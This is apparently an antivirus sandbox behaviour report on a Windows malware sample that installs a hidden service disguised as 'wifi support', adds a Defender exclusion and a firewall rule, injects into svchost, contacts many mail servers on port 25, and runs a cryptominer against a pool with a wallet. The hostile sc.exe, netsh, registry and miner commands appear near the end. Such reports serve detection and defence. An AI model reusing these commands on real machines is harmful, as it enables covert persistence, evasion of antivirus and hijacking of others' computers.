Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\dndykyaz] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dndykyaz] 'ImagePath' = '%WINDIR%\SysWOW64\dndykyaz\ejfxvyk.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\dndykyaz] 'ImagePath' = '%WINDIR%\SysWOW64\dndykyaz\ejfxvyk.exe'
Creates the following services
- 'dndykyaz' %WINDIR%\SysWOW64\dndykyaz\ejfxvyk.exe /d"<Full path to file>"
- 'dndykyaz' %WINDIR%\SysWOW64\dndykyaz\ejfxvyk.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\dndykyaz' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\ejfxvyk.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\ejfxvyk.exe to %WINDIR%\syswow64\dndykyaz\ejfxvyk.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- '95.##6.195.92':426
- '21#.#27.140.23':426
- '5.##.37.41':426
- 'google.com':80
- 'mx###.upcmail.net':25
- 'ma####lay24.usz.ch':25
- 'kr.##upert.com':443
- 'mx#.##ailsrvr.com':25
- 'eu#.###.#rotection.outlook.com':25
- 'al######x-vip2.prodigy.net':25
- 'mx.##a.untd.com':25
- 'em##.freenet.de':25
- 'mx##.###us-vadesecure.net':25
- 'mx.#####.#e.cust.b.hostedemail.com':25
- 'mx.####dom-graphics.com':25
- 'mx.###intpcs.com':25
- 'sp###.#ail.gandi.net':25
- '19#.#6.146.41':426
- 'mx##.##il.icloud.com':25
- '19#.#6.146.43':426
- 'mx##.#ail.citi.com':25
- 'de###twax.ru':443
- 'de###twax.ru':482
- 'mx###.##stedmxserver.com':25
- 'al######x-vip1.prodigy.net':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'fa###ool.xyz':10060
- 'mx##.mail.com':25
- 'ma#######xcite.roc2.bluetie.com':25
- 'mx.####ght.synacor.com':25
- 'mx#.##tsolmail.net':25
- 'mx#.#omcast.net':25
- 'cx#.##.#.cloudfilter.net':25
- 'mt##.##0.yahoodns.net':25
- 'sh########l.mx.a.cloudfilter.net':25
- 'sm#####.iomartmail.com':25
- 'sm##.##broadband.co.uk':25
- 'mx##.#pcmail.net':25
- '19#.#6.146.42':426
- 'ma#####ont1.tctwest.net':25
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'de###twax.ru':443
- 'mx##.###us-vadesecure.net':25
- 'al######x-vip2.prodigy.net':25
- 'eu#.###.#rotection.outlook.com':25
- 'mx#.##ailsrvr.com':25
- 'kr.##upert.com':443
- 'sm##.##broadband.co.uk':25
- '95.##6.195.92':426
- '19#.#6.146.42':426
- '5.##.37.41':426
- 'sp###.#ail.gandi.net':25
- '21#.#27.140.23':426
- '19#.#6.146.41':426
- 'sm#####.iomartmail.com':25
- 'mt##.##0.yahoodns.net':25
- 'mx#.##tsolmail.net':25
- 'mx###.##stedmxserver.com':25
- 'al######x-vip1.prodigy.net':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'fa###ool.xyz':10060
- 'de###twax.ru':482
- '19#.#6.146.43':426
- 'ma#####ont1.tctwest.net':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ya##o.com
- DNS ASK pi##m.net
- DNS ASK ma##15.com
- DNS ASK am##l.com
- DNS ASK em##.freenet.de
- DNS ASK fr##net.de
- DNS ASK ne##sc.com
- DNS ASK ju####.prometheusx.pl
- DNS ASK
- DNS ASK mx.##a.untd.com
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK pa##ell.net
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK li#e.de
- DNS ASK mx#.##ailsrvr.com
- DNS ASK he###kitty.com
- DNS ASK kr.##upert.com
- DNS ASK ma####lay24.usz.ch
- DNS ASK ne##ero.net
- DNS ASK g-##il.com
- DNS ASK yl##o.com
- DNS ASK an####.prometheusx.pl
- DNS ASK mx##.##il.icloud.com
- DNS ASK ic##ud.com
- DNS ASK sb###hoo.com
- DNS ASK ma##.zwave.com
- DNS ASK lo#.com
- DNS ASK co###geclub.com
- DNS ASK sp###.#ail.gandi.net
- DNS ASK ra###rano.fr
- DNS ASK li#e.be
- DNS ASK mx.###intpcs.com
- DNS ASK sp###tpcs.com
- DNS ASK mx.####dom-graphics.com
- DNS ASK fr#####-graphics.com
- DNS ASK mx.#####.#e.cust.b.hostedemail.com
- DNS ASK ly##s.de
- DNS ASK ep##t.de
- DNS ASK gm##i.com
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK pe###epc.com
- DNS ASK us#.ch
- DNS ASK tc##est.net
- DNS ASK mx###.upcmail.net
- DNS ASK el###.#rometheusx.pl
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK ex##te.com
- DNS ASK mx##.mail.com
- DNS ASK ma##.com
- DNS ASK fa###ool.xyz
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK my##ace.com
- DNS ASK ve##zon.net
- DNS ASK at#.net
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK mx###.##stedmxserver.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK to####.prometheusx.pl
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK de###twax.ru
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK in###htbb.com
- DNS ASK mx.####ght.synacor.com
- DNS ASK ro###bum.com
- DNS ASK google.com
- DNS ASK ja###.#rometheusx.pl
- DNS ASK mx##.#ail.citi.com
- DNS ASK ci##.com
- DNS ASK mx##.#pcmail.net
- DNS ASK ka##lbw.de
- DNS ASK sm##.##broadband.co.uk
- DNS ASK my####office.co.uk
- DNS ASK sm#####.iomartmail.com
- DNS ASK se###p.co.uk
- DNS ASK sh########l.mx.a.cloudfilter.net
- DNS ASK sh#w.ca
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ro###tmail.com
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK co#.net
- DNS ASK mx#.#omcast.net
- DNS ASK co##ast.net
- DNS ASK mx#.##tsolmail.net
- DNS ASK ch##lo.at
- DNS ASK ma#####ont1.tctwest.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\dndykyaz\ejfxvyk.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dndykyaz\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ejfxvyk.exe" %WINDIR%\SysWOW64\dndykyaz\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create dndykyaz binPath= "%WINDIR%\SysWOW64\dndykyaz\ejfxvyk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description dndykyaz "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start dndykyaz' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dndykyaz\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ejfxvyk.exe" %WINDIR%\SysWOW64\dndykyaz\
- '%WINDIR%\syswow64\sc.exe' create dndykyaz binPath= "%WINDIR%\SysWOW64\dndykyaz\ejfxvyk.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description dndykyaz "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start dndykyaz
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
